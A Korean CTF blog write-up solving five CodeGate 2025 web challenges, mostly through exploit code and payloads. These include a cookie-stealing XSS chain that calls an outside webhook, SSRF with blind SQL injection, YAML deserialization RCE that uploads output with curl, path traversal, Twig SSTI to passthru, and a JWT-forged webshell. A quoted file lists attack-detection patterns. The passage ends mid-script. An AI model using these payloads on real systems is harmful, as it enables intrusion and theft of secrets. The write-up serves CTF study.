One_Blog

2025 CodeGate CTF Preliminaries (General) Web All Writeup 본문

웹해킹

2025 CodeGate CTF Preliminaries (General) Web All Writeup

0xOne 2025. 4. 3. 23:01
728x90

저번주 주말엔 처음으로 일반부에서 CTF를 뛰었다.

 

근데 결과가 좋진 않았다. 22등이었는데 ... 

 

이거 관련해서는 정말 하고 싶은 말이 많지만 나는 이제 내가 뱉은말에 책임 져야하는 성인이니

 

속으로만 묵혀두고 라이트업을 쓰도록 하겠다.

 

확실히 청소년부랑 다르게 문제 퀄리티가 상당했고, 문제를 푸는 과정과 CTF 종료 이후 라이트업을 통해서도 

 

정말 많은 것을 배울 수 있었다.

 

웹 문제는 총 5문제가 출제 되었고, 각각 40++ 솔브, 30++ 솔브, 9솔브, 3솔브, 0솔브였으며,

 

나는 이중 2문제 (40,30솔브)문제를 풀었다.

 

0솔브 문제는 Memo Service라는 문제인데, 하필 이 문제가 웹 문제중 가장 앞에 있어서 이거에 시간을 너무 많이 쏟았다..

 

오전 9시 ~ 12시 내내 이문제만 봤고, 밥을 먹은 후

 

40솔 30솔 문제를 오후 5시까지 풀고 남은 시간에 또 Memo Service만 주구장창 봤는데 ...

 

결과적으론 못풀었다. 차라리 다른 문제를 봤으면 풀었을거같은데 많이 아쉬웠다.

 

아무튼 각설 하고, 라이트업을 정리해보겠다. 

 

(저번에 블로그 옮긴다고 글 올렸었는데 그냥 안옮깁니다 ㅎㅎ;)

 

ps. 라이트업은 기술 위주로 작성되었습니다. 문제의 전체 컨텍스트가 궁금하신 분은

디스코드 one3147로 연락 바랍니다.

Masquerade

일반부 최다 솔브 문제이다. (40++ 솔브)

 

그도 그럴 것이 문제 자체가 어렵게 나오지 않아서 쉽게 풀 수 있던 약간 주는 문제? 개념이었다.

 

일단 간단하게 Posting 기능이 구현되어 있는데, 해당 기능을 사용 하기 위해선 ADMIN role이 필요했다.

const { generateToken } = require("../utils/jwt");
const { v4: uuidv4 } = require('uuid');

const users = new Map();

const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];

function checkRole(role) {
    const regex = /^(ADMIN|INSPECTOR)$/i;
    return regex.test(role);
}

const addUser = (password) => {
    const uuid = uuidv4()

    users.set(uuid, { password, role: "MEMBER", hasPerm: false });

    return uuid;
};

const getUser = (uuid) => {
    return users.get(uuid);
};

const getUsers = () => {
    console.log(users);
    return 1;
};

const setRole = (uuid, input) => {
    const user = getUser(uuid);

    if (checkRole(input)) return false; // 일단 리턴,
    if (!role_list.includes(input.toUpperCase())) return false;

    users.set(uuid, { ...user, role: input.toUpperCase() });

    const updated = getUser(uuid);

    const payload = { uuid, ...updated }

    delete payload.password;

    const token = generateToken(payload);

    return token;
};

const setPerm = (uuid, input) => {
    const user = getUser(uuid);

    users.set(uuid, { ...user, hasPerm: input });

    return true;
}

module.exports = { addUser, getUser, setRole, setPerm, getUsers };

 

대충 role 설정하는 부분이 이런식으로 되어있는데, 보면 정규식으로 role에 ADMIN과 INSEPCTOR가 못오게 막고 있다.

 

근데 검증할때 toUpperCase()를 사용해서, Case Mapping Collision 트릭을 이용해서 role을 마음대로 설정하는 것이 가능했다.

for (let cp = 0; cp <= 0xFFFF; cp++) {
    const ch = String.fromCharCode(cp);
    if (ch.toUpperCase() === 'I') {
        console.log(`U+${cp.toString(16).toUpperCase().padStart(4, '0')} → '${ch}'`);
    }
}
VM532:4 U+0049 → 'I'
VM532:4 U+0069 → 'i'
VM532:4 U+0131 → 'ı'

 

이런식인데, 간단해서 설명은 따로 하지 않겠다. 아무튼 이러면 포스팅 기능을 쓸 수 있게 되는데, 포스트 조회 부분의 코드가 대충 이랬다.

 

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Post</title>
    <link rel="stylesheet" href="/css/style.css">
</head>

<body>
    <div class="container">
        <h1 id="post-title">
            <%= post.title %>
        </h1>
        <div class="user-info">
            <button id="report" class="button danger">Report</button>
            <button id="delete" class="button danger">Delete</button>
        </div>

        <hr>
        <div class="post-content">
            <%- post.content %>
        </div>
        <a href="/post" class="button">Go to Posts</a>
    </div>
    <script nonce="<%= nonce %>">
        <% if (isOwner || isAdmin) { %>
            window.conf = window.conf || {
                deleteUrl: "/post/delete/<%= post.post_id %>"
            };
        <% } else { %>
            window.conf = window.conf || {
                deleteUrl: "/error/role"
            };
        <% } %>

        <% if (isInspector) { %>
            window.conf.reportUrl = "/report/<%= post.post_id %>";
        <% } else { %>
            window.conf.reportUrl = "/error/role";
        <% } %>

        const reportButton = document.querySelector("#report");

        reportButton.addEventListener("click", () => {
            location.href = window.conf.reportUrl;
        });

        const deleteButton = document.querySelector("#delete");

        deleteButton.addEventListener("click", () => {
            location.href = window.conf.deleteUrl;
        });
    </script>
</body>

</html>

딱 보면 window.conf를 Dom Clobbering으로 오염시킬 수 있을것으로 보인다.

<b id="conf"><a id="conf" name="deleteUrl" href="원하는값">123</a>

 

이런식으로 쓰면 window.conf를 내가 원하는 값으로 채울 수 있게 된다.

 

여기서 왜 바로 XSS 안하지? 생각할 수 있는데 전역적으로 CSP 걸려있다.

app.use((req, res, next) => {
    const nonce = crypto.randomBytes(16).toString('hex');

    res.setHeader("X-Frame-Options", "deny");

    if (req.path.startsWith('/admin')) {
        res.setHeader("Content-Security-Policy", `default-src 'self'; script-src 'self' 'unsafe-inline'`);
    } else {
        res.setHeader("Content-Security-Policy", `default-src 'self'; script-src 'nonce-${nonce}'`);
    }

    res.locals.nonce = nonce;

    next();
});

코드를 보면 알겠지만 /admin쪽은 안걸려있다.

 

그래서 /admin 쪽에서 XSS를 트리거해야함을 알 수 있다.

 

근데 BOT 의 동작을 분석해보면 플래그가 cookie에 있는 것을 알 수 있으며,

 

추가로 동작을 보면 공격자가 전달한 UUID 를 기반으로 /post/{UUID} 경로에 방문하는 것을 알 수 있다.

 

이것만 보면 봇을 어떻게 redirection 시키지, 할 수 있는데 봇은 페이지 방문 이후 delete 버튼을 누른다.

    try {
        await browser.setCookie(...cookies);

        const page = await browser.newPage();

        await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });

        await delay(1000);

        const button = await page.$('#delete');
        await button.click();

        await delay(1000);
    } catch (error) {
        console.error("An Error occurred:", error);
        result = false;
    } finally {
        await browser.close();
    }

이때 delete 버튼을 누르면 브라우저의 location.href를 window.conf.deleteUrl로 바꿔버리는데,

 

window.conf.deleteUrl이 내가 원하는 값을 줄 수 있기 때문에 Open Redirection이 가능하다.

 

그러면 이제 남은건 /admin/ 하위 엔드포인트에서의 XSS인데, 

 

admin/test 엔드포인트에서 XSS가 가능했다.

  	const post_title = document.querySelector(".post_title");
        const post_content = document.querySelector(".post_content");
        const error_div = document.querySelector(".error_div");

        const urlSearch = new URLSearchParams(location.search);
        const title = urlSearch.get('title');
        const content = urlSearch.get('content');

        if (!title && !content) {
            post_content.innerHTML = "Usage: ?title=a&content=b";
        } else {
            try {
                post_title.innerHTML = DOMPurify.sanitize(title);
                post_content.innerHTML = DOMPurify.sanitize(content);
            } catch {
                post_title.innerHTML = title;
                post_content.innerHTML = content;
            }
        }

대충 이런식인데, 

 

DOMPurify.sanitize에서 Exception이 나게 만들면 됐다.

 

이때 Dompurify 라이브러리를 페이지에서 상대 경로로 불러왔기 때문에

 

/admin/test/ 로 접속하면 쉽게 Dom Purify를 우회할 수 있었다.

 

그리고 최종적으로 익스플로잇 시나리오는 아래와 같았다.

 

Dom Clobbering -> window.conf 오염 -> 그러면 location.href = window.conf.deleteUrl에서 deleteUrl에 원하는 Url을 때려박을 수 있음 -> Open Redirection 가능 -> /admin/test 엔드포인트로 Open Redirection 이후 XSS

 

1. Dom Clobbering

<b id="conf"><a/id="conf"/name="deleteUrl"/href="/admin/test/?title=asdf&content=%3Cimg%20src=
x%20onerror=%22location.href=%27https://devkjgy.request.dreamhack.games/?
flag%27%2Bdocument.cookie;%22%3E">123</a>

(a태그 속성 사이에 /를 끼운 이유는 필터링 우회 때문)

 

2. window.conf 오염(window.conf.deleteUrl == /admin/tset/?title ...)

 

3. admin report

 

4. admin이 delete버튼을 클릭 -> /admin/test/?title=xss... 로 이동

 

5. 쿠키 탈취 성공

 

이러면 최종적으로 웹훅에 플래그가 날아와 플래그를 얻을 수 있었다.

 

flag : codegate2025{16a7eeb64ec6b150c9308509a039cec0c137dfd766ef13ccb8d6d9e0cf54aef3}

 

gg

 

Hide and Seek

 

얘는 블랙박스 문제인데, 문제의 /api/reset-game 엔드포인트에 대놓고 SSRF가 존재했고 

 

해당 엔드포인트에서 요청의 성공 실패 여부만 알 수 있었다.

 

import requests
import random

def generate_random_ipv4():
    return '.'.join(str(random.randint(0, 255)) for _ in range(4))



url = "http://15.165.37.31:3000/api/reset-game"

for i in range(65535):
    json = {
        "url": f"http://192.168.200.120:{i}"
    }
    headers = {
        "X-Forwarded-For":generate_random_ipv4()
    }
    response = requests.post(url, json=json, headers=headers)
    if not("An error occurred while fetching." in response.text):
        print(response.text,i)
        exit(0)
    else:
        print(response.text,i)

우선 이런식으로 코드를 짜서 포트를 알아냈고,

 

import requests
import random

def generate_random_ipv4():
    return '.'.join(str(random.randint(0, 255)) for _ in range(4))

url = "http://15.165.37.31:3000/api/reset-game"

with open('./small.txt', 'r', encoding='utf-8') as f:
    for line in f:
        json = {
            "url": f"http://192.168.200.120:808/{line}"
        }
        headers = {
            "X-Forwarded-For":generate_random_ipv4()
        }
        response = requests.post(url, json=json, headers=headers)
        if not("Failed to fetch the URL. Status: 404" in response.text):
            print(response.text,line)
            exit(0)
        else:
            print(response.text,line)

비슷한 코드로 경로도 유출했다.

 

하지만 내부망 응답을 못보는 게 문제였는데 ...

 

약간의 서버 분석을 거쳐 내부망 서버가 NextJs를 사용중임을 알아냈고, 

https://ctftime.org/writeup/39295

 

CTFtime.org / UIUCTF 2024 / Log Action / Writeup

### Original writeup [https://github.com/Samik081/ctf-writeups/blob/master/UIUCTF%202024/web/log_action.md](https://github.com/Samik081/ctf-writeups/blob/master/UIUCTF%202024/web/log_action.md/) ## Log Action (431 points) ### Description I keep trying to l

ctftime.org

해당 CTF 라업을 참고하여 Blind SSRF를 SSRF로 고도화 할 수 있었다.

 

이렇게 되면 내부망 응답을 유출할 수 있게 되는데, 내부망의 /login 엔드포인트에서 SQLi 취약점이 발생하는 것을 확인할 수 있었고,

 

몇가지 필터링(password, or, and, ...)을 우회하면 내부 데이터까지 leak할 수 있었다. 최종 익스코드는 아래와 같다.

 

import time
import requests
import string
import random
from flask import Flask, Response, request, redirect
app = Flask(__name__)

def generate_random_ipv4():
    return '.'.join(str(random.randint(0, 255)) for _ in range(4))

flag = "codegate2025{83ef613335c8534f61d83efcff6c2e18be19743069730d77bf8fb9b18f7"
chars = "{" + "}" + string.digits + "a" + "b" + "c" + "d" + "e" + "f"
cnt = 0
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    global cnt,flag,chars
    char = chars[cnt]
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect("http://192.168.200.120:808/login?key=
    392cc52f7a5418299a5eb22065bd1e5967c25341&username=admadminin'
    anandd%%20passpasswordwoorrd%%20like%%20'%s%%25';%%20
    --%%20&password=1234" % (flag + char)) (짤림방지, 실제로는 한줄)

url = "http://15.165.37.31:3000/"

@app.route('/start')
def start():
    global flag,cnt,chars
    while True:
        for i in range(len(chars)):
            cnt = i
            headers = {
            "Host": "yuzuha-riko.kro.kr:8080/",
            "Content-Length": "2",
            "Next-Action": "6e6feac6ad1fb92892925b4e3766928a754aec71",
            "Content-Type": "application/json",
            "X-Forwarded-For":generate_random_ipv4()
            }

            data = "[]"
            response = requests.post(url, headers=headers, data=data)

            print(f"Status Code: {response.status_code}")
            print("Response Body:")
            print(response.text,chars[cnt])
            if "admin" in response.text:
                flag += chars[cnt]
                print("[+] FLAG :",flag)
                return flag
            else:
                print(chars[cnt])

if __name__ == "__main__":
    print(len(chars))
    app.run(host='0.0.0.0', port=8080,debug=True)

 

이런식으로 코드를 설계한 후, 서버를 동작시킨 후 /start에 접속하면 접속할 때마다 플래그를 한글자씩 얻을 수 있다.

 

flag : codegate2025{83ef613335c8534f61d83efcff6c2e18be19743069730d77bf8fb9b18f79bfb9}

 

gg.

 

Cha’s Point

이건 화이트박슨데 게싱에 가까운 문제다.

 

대충 /render 함수에서 reveal-md(https://github.com/webpro/reveal-md)의 render 함수가 호출되는 것을 알 수 있는데,

 

async function getRevealMd() {
    if (!revealmd) {
        revealmd = await import("reveal-md/lib/render.js");
    }
    return revealmd;
}

router.get("/render", async (req, res) => {
    try {
        const userId = req.session.userid;
        const configPath = path.join(UPLOAD_DIR, userId, "config", "config.md");

        if (!fs.existsSync(configPath)) {
            return res.redirect("/");
        }

        const slidePath = path.join(UPLOAD_DIR, userId, "slide", "default.md");
        const useTemplate = !fs.existsSync(slidePath);

        const configData = fs.readFileSync(configPath, "utf8").toString();
        let data = configData;
        if (useTemplate) {
            data += default_template;
        } else {
            data += fs.readFileSync(slidePath, "utf8").toString();
        }

        const { render } = await getRevealMd();
        const rendered = await render(data);
        return res.send(rendered);
    } catch {
        return res.status(500).send("Error");
    }
});

 

이 render 함수가 내부적으로 호출하는 타 npm의 함수에서 code execution취약점이 있었다.

 

근데 npm 안의 npm에서 터지는 거라, 코드 following을 좀 잘 해야 했다.

 

절차만 설명하자면 reveal.render() -> parseYamlFrontMatter -> loadFront -> parse -> jsYaml -> jsYaml.load(https://security.snyk.io/vuln/SNYK-JS-JSYAML-174129)

 

였다.

 

결국 익스플로잇을 할려면 render에 전달되는 데이터를 잘 조작해야했는데, 약간의 필터링 우회가 필요했다.

"toString": !<tag:yaml.org,2002:js/function> "function (){very_evil_thing();}"

 

이런식으로 값이 들어가야했고, 이를 위해선 특수문자 "를 써야했다.

 

render에 전달되는 configData는 config.md에서 가져오고, 여기에 값을 설정할려면 set_config에서 값을 조작해야 했는데,

 

set_config에서 내부적으로 호출되는 encode()를 보면

 

const encode = (text) => {
    try {
        return encodeURI(text.replace(/"/g, ""));
    } catch {
        return text;
    }
};

 

이따구로 "를 쓰는 걸 막고 있었다. 근데 이거는 해당 링크

(https://stackoverflow.com/questions/16868415/encodeuricomponent-throws-an-exception) 참고해서 쉽게 우회할 수 있었다.

 

최종적으로는 아래와 같이 configData를 설정하고, 이를 render() 함수에 전달해주면 됐다.

 

json_data = {
    'title': '\udc41abcd\u0022 shell: \u0022/bin/bash\u0022 preprocessor: \u0022node_modules/cross-spawn/index.js',
    'theme': 'black',
    'highlightTheme': 'zenburn',
}

 

이렇게 설정해놓고 /render에 접속하면 reveal.render() -> parseYamlFrontMatter -> loadFront -> parse -> jsYaml -> jsYaml.load() 까지 타고 들어가면서 최종적으로 load()에서 code execution이 가능했다.

 

최종적으로 내가 설계한 익스플로잇은 아래와 같았다.

 

import requests
import os
import sys
import socket

USERID = os.urandom(4).hex()
USERPW = os.urandom(4).hex()

WEBHOOK = "https://mzhfuqw.request.dreamhack.games"
HOST = "localhost:80"

cookie = None

print(USERID,USERPW)
requests.post(f"http://{HOST}/auth/register", json={
    "username": USERID,
    "password": USERPW
})

res = requests.post(f"http://{HOST}/auth/login", json={
    "username": USERID,
    "password": USERPW
}, allow_redirects=False)

if res.headers.get("Location") == "/":
    cookie = res.headers.get("Set-Cookie")
    print(cookie)
else:
    print("fuck")
    sys.exit(1)



json_data = {
    'title': '\udc41abcd\u0022 shell: \u0022/bin/bash\u0022 preprocessor: \u0022node_modules/cross-spawn/index.js',
    'theme': 'black',
    'highlightTheme': 'zenburn',
}
response = requests.post("http://"+ HOST + "/edit/add/config", json=json_data, headers={"Cookie": cookie})
if "success" in response.text:
    print(response.text)
else:
    print("failed")
    exit(0)

payload = {
    "markdown":"/readflag | tee /tmp/exploit.txt"
}

response = requests.post("http://"+ HOST + "/edit", data=payload, headers={"Cookie": cookie})
print(response.text)


response = requests.get("http://localhost/view/render", headers={"Cookie": cookie})


payload = {
    "markdown":f"curl -F \"file1=@/tmp/exploit.txt\" {WEBHOOK}"
}

response = requests.post("http://"+ HOST + "/edit", data=payload, headers={"Cookie": cookie})
print(response.text)


response = requests.get("http://localhost/view/render", headers={"Cookie": cookie})

해당 코드에서 markdown을 저렇게 바꾼 이유는 /bin/bash에 전달되는 파라미터가 markdown에서 참조되었기 때문이다.

gg.

 

BackOffice

 

일반부 3솔브 문제다.

 

근데 업솔브 하고 나니까 왜 3솔브..인지는 잘 이해가 안됐다.

 

나는 이거 처음 볼때 코드 양보고 "와 ㅅㅂ 이건 남은 시간안에 못풀겠다" 마인드로 안봤던 문제였는데..

대충 이런식

 

근데 풀고나니까 생각보다 코드 양에 비해 뭐가 없던 문제였기 때문이다.

 

코드양과 솔버 수에 너무 겁먹었던 것 같다.

 

아무튼 풀이를 이어 갈건데, 풀이를 듣기 전에 알아야할 사전 지식이 있다.

업솔브 할 때 노션에 정리한거

 

자 이제 풀이를 시작하겠다.

 

회원가입 이후 기능을 몇개 쓰다보면 QnA 기능을 볼 수 있는데, QnA 파일 다운로드 기능에 path traversal가 존재했다.

 

api.php → QnaController.php → QnaService.php

 

이런식으로 따라가보면 

public function getQnaFileDownload(User $currentUser, array $request): array
    {
        $filepath = null;
        $filename = null;
        $filemime = null;
        try {
            if ($currentUser->role === config('constants.ROLE.ADMIN')) {
                $qna = Qna::where('id', $request['qna_id'])->first();
            } else {
                $qna = Qna::where('writer_id', $currentUser->id)->where('id', $request['qna_id'])->first();
            }
            if (!$qna) {
                return [null, null, null];
            }

            $qna = $qna->toArray();

            if (!$request['dwn_strNm'] === true) {
                $request['dwn_strNm'] = $qna['file_name'];
            }

            if ($request['dwn_strNm'] === $qna['file_name']) {
                if (!file_exists($qna['file_path'] . "/" . $qna['file_name']) || is_dir($qna['file_path'] . "/" . $qna['file_name'])) return [null, null, null];

                $filepath = $qna['file_path'] . "/" . $qna['file_name'];
                $filename = $qna['file_name'];
            }

            if ($request['dwn_strNm'] !== $qna['file_name']) {
                if (!file_exists($qna['file_path'] . "/" . $request['dwn_strNm']) || is_dir($qna['file_path'] . "/" . $request['dwn_strNm'])) return [null, null, null];

                $filepath = $qna['file_path'] . "/" . $request['dwn_strNm'];
                $filename = $request['dwn_strNm'];
            }

            if (!in_array($request['dwn_policy'], $this->POLICY)) {
                $request['dwn_policy'] = "IMAGE_DOWN";
            }

            if ($request['dwn_policy'] === 'IMAGE_DOWN') {
                $filemime = 'image/png';
            }
            if ($request['dwn_policy'] === 'ETC_DOWN') {
                $filemime = 'application/octet-stream';
            }
            if ($request['dwn_policy'] === 'TEXT_DOWN') {
                $filemime = 'text/plain';
            }
        } catch (QueryException|Exception $e) {
            return [null, null, null];
        }

        // secure coding for protection from arbitrary file download
        if (strpos($filename, './') || strpos($filename, '../')) {
            $filename = $qna['file_name'];
        }

        return [$filepath, $filename, $filemime];
    }

이런식으로 파일 다운로드 취약점이 존재하는 걸 알수있다.

 

근데 좀 악질인게 ㅋㅋ

class SecurityMiddleware
{
    private array $forbiddenPatterns = [];
    private string $SECURITY_MODULE = "";

    public function __construct()
    {
        $this->forbiddenPatterns = [];
        $this->SECURITY_MODULE = env('FILE_STORAGE', '/var/www/storage') . '/security_module.json';
    }

    private function loadSecurityPatterns(): void
    {
        if (!file_exists($this->SECURITY_MODULE)) {
            throw new Exception('file not found');
        }

        $security_module = file_get_contents($this->SECURITY_MODULE);
        $security_module = json_decode($security_module, true);

        if (is_array($security_module)) {
            foreach ($security_module as $category => $patterns) {
                foreach ($patterns as $pattern) {
                    $this->forbiddenPatterns[] = "#" . $pattern . "#i";
                }
            }
        }
{
    "sql_injection": [
        "SELECT\\s+\\*\\s+FROM",
        "UNION\\s+SELECT",
        "INSERT\\s+INTO",
        "DROP\\s+TABLE",
        "DELETE\\s+FROM",
        "OR\\s+1=1",
        "--",
        "\\#",
        "/\\*.*?\\*/"
    ],
    "command_injection": [
        "exec\\(.*?",
        "system\\(.*?",
        "popen\\(.*?",
        "shell_exec\\(.*?",
        "passthru\\(.*?"
    ],
    "xss": [
        "<script.*?>.*?</script>",
        "javascript:",
        "vbscript:",
        "onerror=",
        "onload=",
        "alert\\(.*?\\)",
        "document\\.cookie",
        "eval\\(.*?\\)",
        "setTimeout\\(.*?\\)",
        "fetch\\(.*?"
    ],
    "xxe": [
        "<!ENTITY\\s+",
        "SYSTEM\\s+\"file://",
        "SYSTEM\\s+\"http://",
        "SYSTEM\\s+\"ftp://",
        "DOCTYPE\\s+root\\s+\\["
    ],
    "ssrf": [
        "fetch\\(.*?",
        "http://127\\.0\\.0\\.1",
        "http://localhost",
        "http://0\\.0\\.0\\.0",
        "http://169\\.254\\.169\\.254",
        "http://metadata\\.google\\.internal"
    ],
    "csrf": ["document\\.forms\\[0\\]\\.submit"],
    "ssti": [
        "\\{\\{.*?\\}\\}",
        "\\{%.*?%\\}",
        "\\$\\{.*?\\}",
        "\\*args",
        "\\*kwargs"
    ],
    "file_download": [
        "\\.\\./etc/passwd",
        "\\.\\./etc/hosts",
        "\\.\\./etc/shadow",
        "\\.\\./var"
    ]
}

 

전역적으로 이런식의 필터링을 걸어놔서, 그냥 단순히 ../../../../../etc/passwd 식의 페이로드로는 취약점이 있는지 알수 없었다.

 

이걸 우회하고 JWT Secret Key가 있는 .env 파일을 leak 하기 위해선 아래 2가지 방법이 존재했다.

 

1. /../../../../www/backoffice/.env

 

 2. /../../../../../../../../../../../../proc/self/root/etc/passwd 

 

아무튼 이렇게 하면 Path Traversal이 되는데, 여기서 의문점이 하나 생긴다.

 

Q. 방어로직 있는 거 아님?

        if (strpos($filename, './') || strpos($filename, '../')) {
            $filename = $qna['file_name'];
        }

 

이런 로직이 존재하긴 하는데 ...

 

QnaService.php의 getQnaFileDownload 함수의 리턴 형식은 다음과 같고,

 

return [$filepath, $filename, $filemime];

 

그리고 리턴 받은 값을 기반으로 아래와 같이 Laravels의 Response:download()를 호출하는 것을 알 수 있었다.

 

        list($filepath, $filename, $filemime) = $this->qnaService->getQnaFileDownload($request->user(), $request->only('qna_id', 'dwn_policy', 'dwn_strNm', 'dwn_strView'));
        if (!$filepath || !$filename || !$filemime) {
            return response()->noContent(404);
        }

        return response()->download($filepath, $filename, ["Content-Type" => "$filemime", "Content-Disposition" => "attachment; filename=$filename"]);

 

이때 해당 함수에서 filepath가 실질적인 다운로드 경로이고, filename은 사용자에게 보여질 파일의 이름일 뿐이기에 저거에 필터링 거는 건 아무 의미가 없다고 볼 수 있다.

refrences : https://laravel.com/docs/5.1/responses#file-downloads

 

Laravel - The PHP Framework For Web Artisans

Laravel is a PHP web application framework with expressive, elegant syntax. We’ve already laid the foundation — freeing you to create without sweating the small things.

laravel.com

 

아무튼 path traversal로 얻어낸

 

SECRET_KEY(b33e3a24267186b68b7489d2eedfb7af29d1429b4336abde309d08d1968e9f8b)를 이용하여

 

ADMIN 권한을 획득할 수 있고(sub 필드를 1로 조작)

 

그러면 http://localhost:18080/api/v1/admin/mail/template URL에 접근하여 Twig SSTI를 시도할 수 있다.

 

여기서 시행 착오를 좀 많이 거쳤는데 .. (아래 메모 참고)

최종적으로는 아래 페이로드를 이용해서 ssti -> rce를 트리거 할 수 있었다.

 

{
    "template_id":1,
    "data":{
        "name":"asdf",
        "request_details":"{${}%block U%}/readflag-LuHwJTJD000passthru{${}%endblock%}{${{}%set x=block(_charset|first)|split(000)%}",
        "sender_name":"{${}{[x|first]|map(x|last)",
        "sender_position":"|join}}"
    }
}

 

해당 페이로드는 (https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) 에 나오는

 

페이로드를 약간 변형한 식이다.

 

({{ 필터링 우회를 위해 ${}를, 글자 제한 우회를 위해 페이로드 분할)

 

아무튼 다음과 같이 템플릿을 전송하면 아래와 같이 플래그를 얻을 수 있다.

Dear asdf,

I hope you're doing well.

I would like to request /readflag-LuHwJTJD000passthru.
Please let me know if you need any further information.

Looking forward to your response.

Best regards,
codegate2025{redactredactredactredact}

Novition

 

근데 이거 ㄹㅇ;; 왜 3솔버인 것임 .. 내가 볼때는 사람들 다 나처럼 Memo Service의 저주에 갇힌 게 분명하다.

 

암튼 gg.

 

 

 

 

대망의

Memo Service

일반부 0솔 문제다. 이게 개악질인게 소스코드 양도 적고 CTF 사이트에서 제일 앞에 놔둬서

 

사람들이 이 문제에 빠지게끔 만들어버렸다;; (대회 끝나고 메모 서비스 라업만 찾는 사람들의 채팅이 볼만했다.)

 

아무튼 풀이를 하자면, 서비스 내에서 sitemesh(웹 페이지 레이아웃 및 데코레이션 해주는 프레임워크)를 사용중이었다.

 

SiteMesh는 아래 순서로 파싱을 진행하는데,

HTMLPageParser → PageDecoratorMapper → FileDecoratorMapper

HTMLPageParser : 실제 HTML 파싱
PageDecoratorMapper : 어느 데코레이터(레이아웃 JSP 파일)를 사용할지를 결정하는 맵퍼 역할
FileDecoratorMapper : sitemesh.xml 바탕으로 실제 파일 경로 매핑

이를 기반으로

</scriptn><meta name='decorator' content='/WEB-INF/web.xml'>

위와 같은 페이로드를 통해 데코레이터로 /WEB-INF/web.xml을 쓸 수 있었고,

 

이를 기반으로 web.xml에 적혀 있는 secret Key를 leak할수 있었다.

 

그러면 이제 해당 secret Key로 JWT 토큰을 조작할 수 있고, 이를 기반으로 admin 전용 기능에 접근할 수 있게 된다.

 

 public String download() throws SQLException {

        Integer id = Integer.parseInt((String) request.getAttribute("id"));

        if (id != 1) { // 여기서 토큰 id로 검증 하고 
            message = "Only Admin";
            return ERROR;
        }

        if (this.id == null || this.owner == null) { // 여기선 request로 전송한 id
            message = "Not found";
            return ERROR;
        }

        int memoId = this.id;
        int owner = this.owner;

        String cacheFile = String.format("memo_%d_%d.csv", owner, memoId); // 포맷 스트링 어떻게 잘 바꿔서 jsp저장?
        CACHE_PATH = CACHE_DIR + cacheFile;

        File cacheDir = new File(request.getServletContext().getRealPath(CACHE_DIR));
        if (!cacheDir.exists()) {
            cacheDir.mkdirs();
        }
        File cachedFile = new File(cacheDir, cacheFile);

        if (!cachedFile.exists()) {

            MemoDAO dao = new MemoDAO();
            Map<String, String> memo = dao.getMemo(owner, memoId);
            if (memo.isEmpty()) {
                message = "Not found";
                return ERROR;
            }

            try (BufferedWriter writer = new BufferedWriter(new FileWriter(cachedFile))) {
                writer.write("id,title,content,owner\n");
                writer.write(String.format("\"%s\",\"%s\",\"%s\",\"%s\"\n",
                        memo.get("id"),
                        memo.get("title"),
                        memo.get("content"),
                        memo.get("owner")));
            } catch (IOException e) {
                message = "Some ERROR";
                return ERROR;
            }
        }

        return SUCCESS;

    }

코드를 싹 봐주면 사용자로부터 받은 데이터를 기반으로 .csv 파일을 써주는 것을 볼 수 있는데,

 

여기다가 웹 쉘을 올려버릴 수 있었다.

 

근데 웹 쉘을 불러오는 과정이 좀 특이했다.

 

아래는 그 과정을 정리한 메모이다.

한줄 요약하면,

 

웹쉘 페이로드가 적힌 파일을 올리고, jwt 토큰에 특정 Path의 파일을 include하고 파싱하여 실행해주는 servlet_path를 저장한 후에,

 

해당 webshell을 include하여 실행한다는 그런 어마무시한 익스인 것이었다..

 

이건 코드는 간단했지만 왜 0솔인지 알 수 있는 참신한 문제였고, 최종 익스코드는 아래와 같았다. (출제자분 풀이)

 

from requests import *
import random
import jwt
import re

# host = "http://43.202.252.195:8080"
host = "http://localhost:8081"

def user_register(username, password):

    url = host + "/user/register.action"
    data = {"username": username, "password": password}
    post(url, data=data)

def user_login(username, password):

    url = host + "/user/login.action"
    data = {"username": username, "password": password}
    res = post(url, data=data, allow_redirects=False)
    return res.cookies.get_dict()

def memo_write(cookies, title, content):

    url = host + "/memo/write.action"
    data = {"title": title, "content": content}
    post(url, data=data, cookies=cookies)

def memo_list(cookies):

    url = host + "/memo/list.action"
    res = get(url, cookies=cookies)
    return res.text

def memo_read(cookies, id):

    url = host + f"/memo/read.action?id={id}"
    res = get(url, cookies=cookies)
    return res.text

def memo_download(cookies, owner, id):

    url = host + f"/memo/download.action?id={id}&owner={owner}"
    res = get(url, cookies=cookies)
    return res.text

def file_leak(cookies, filename):

    title = "file leak"
    # Sitemesh: HTMLPageParser -> PageDecoratorMapper -> FileDecoratorMapper
    content = f"</scriptx><meta name=decorator content={filename}>"
    memo_write(cookies, title, content)

    list = memo_list(cookies)
    p = re.compile("location.href='/memo/read\.action\?id=(\d+)'")
    last_memo_id = p.findall(list)[-1]

    memo = memo_read(cookies, last_memo_id)
    return memo

def webshell_create(user_cookies, admin_cookies, title, content):

    memo_write(user_cookies, title, content)

    list = memo_list(user_cookies)
    p = re.compile("location.href='/memo/read\.action\?id=(\d+)'")
    memo_id = p.findall(list)[-1]

    memo = memo_read(user_cookies, memo_id)
    p = re.compile('<!-- (\d+) -->')
    memo_owner = p.findall(memo)[0]

    # Create file -> /download/memo_{owner}_{id}.csv
    memo_download(admin_cookies, memo_owner, memo_id)
    return f"/download/memo_{memo_owner}_{memo_id}.csv"

def webshell_trigger(webshell_filepath, secret_key, command):

    # AuthFilter JWT -> request.setAttribute
    # JspServlet jspUri = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
    payload = {"sub": "user", "username": "hacker", "id": "1", "javax.servlet.include.servlet_path": webshell_filepath}
    token = jwt.encode(payload, secret_key, algorithm="HS256")
    cookies = {"token": token}

    # Call JspServlet with AuthFilter
    url = host + f"/memo/what_the_hack.jsp?cmd={command}"
    res = get(url, cookies=cookies)

    p = re.compile("<<<(.*?)>>>")
    print(p.findall(res.text)[0])

def exploit(command):

    username = "nganganga_" + str(random.random())
    password = username
    user_register(username, password)
    user_cookies = user_login(username, password)

    # Leak /WEB-INF/web.xml
